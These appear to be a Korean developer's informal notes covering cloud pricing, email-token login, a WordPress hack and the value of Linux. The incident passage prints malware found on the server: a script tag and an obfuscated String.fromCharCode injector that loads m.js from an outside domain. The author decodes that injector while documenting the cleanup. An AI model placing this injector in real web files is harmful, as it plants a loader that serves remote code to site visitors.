스펙이 일정 수준까지는 정비례로 오를 것이다.
1코어 500메가, 2코어 1기가, 4코어 2기가...
그 이상의 스펙은 다른 비율로 오를텐데 이는 물리적인 하드웨어의 스펙 이상의 요구가 있을 경우에 해당된다고 본다.
하드웨어끼리 묶어서 고-스펙을 구현하는 것은 또 다른 기술이 필요할 것이고 이 부분에서 가격은 두 배 이상 증가하는 것이 당연한 듯 하다.
패스워드를 사용자가 입력하지 못하도록 하는 것도 좋은 방법
이메일로 토큰(패스워드 개념) 활성화, 이 경우 별도의 문자열을 전달함
사용자가 패스워드를 생성하지 않으니 좋은 점이 많다.
물론, 단점도 있다. 패스워드 생성기나 개인적으로 패스워드를 관리하는 유저는 불편할 수 있겠군.
11/14 12시 경, 해커가 침입하고 301 태우고 도망감!
DNS 변경도 문제지만 파일을 잔뜩 수정하고 튐;
파일 안에 어디엔가 악성 코드가 있을 수 있을텐데...
일단 CTO 님께 SOS!
서버에 들어가 확인해 본 index.php
<!--<script type='text/javascript' src='https://cht.secondaryinformtrand.com/m.js?n=nb5'></script>--><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
* @package WordPress
* Tells WordPress to load the WordPress theme and output it.
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
각종 자바스크립트 파일에는 스크립트 인젝션 코드가 포함되어 있다.
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
저 긴 코드 포인트 중 핵심은
104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115
https://cht.secondaryinformtrand.com/m.js
이다.
백업도 없고... CTO 님 고생하셨네.
복구 후 바로 서비스를 라이브 시키지 말고 502 를 띄워 브라우저 캐시를 invalidate 시켜버리는 것도 잊지 말 것.
왜, 왜 리눅스에 익숙해야 하는가 그리고 왜 터미널을 선호해야 하는가?
우리와 관련 있는 대부분의 서버가 리눅스로 구성되어 있고 리눅스는 터미널 기반의 인터페이스를 기본으로 제공하기 때문이다.
MS 서버 쓰는데 얼마나 될까 모르겠지만, 현재 대부분의 서비스에 동작하는 서버는 다 리눅스 일 듯 하다.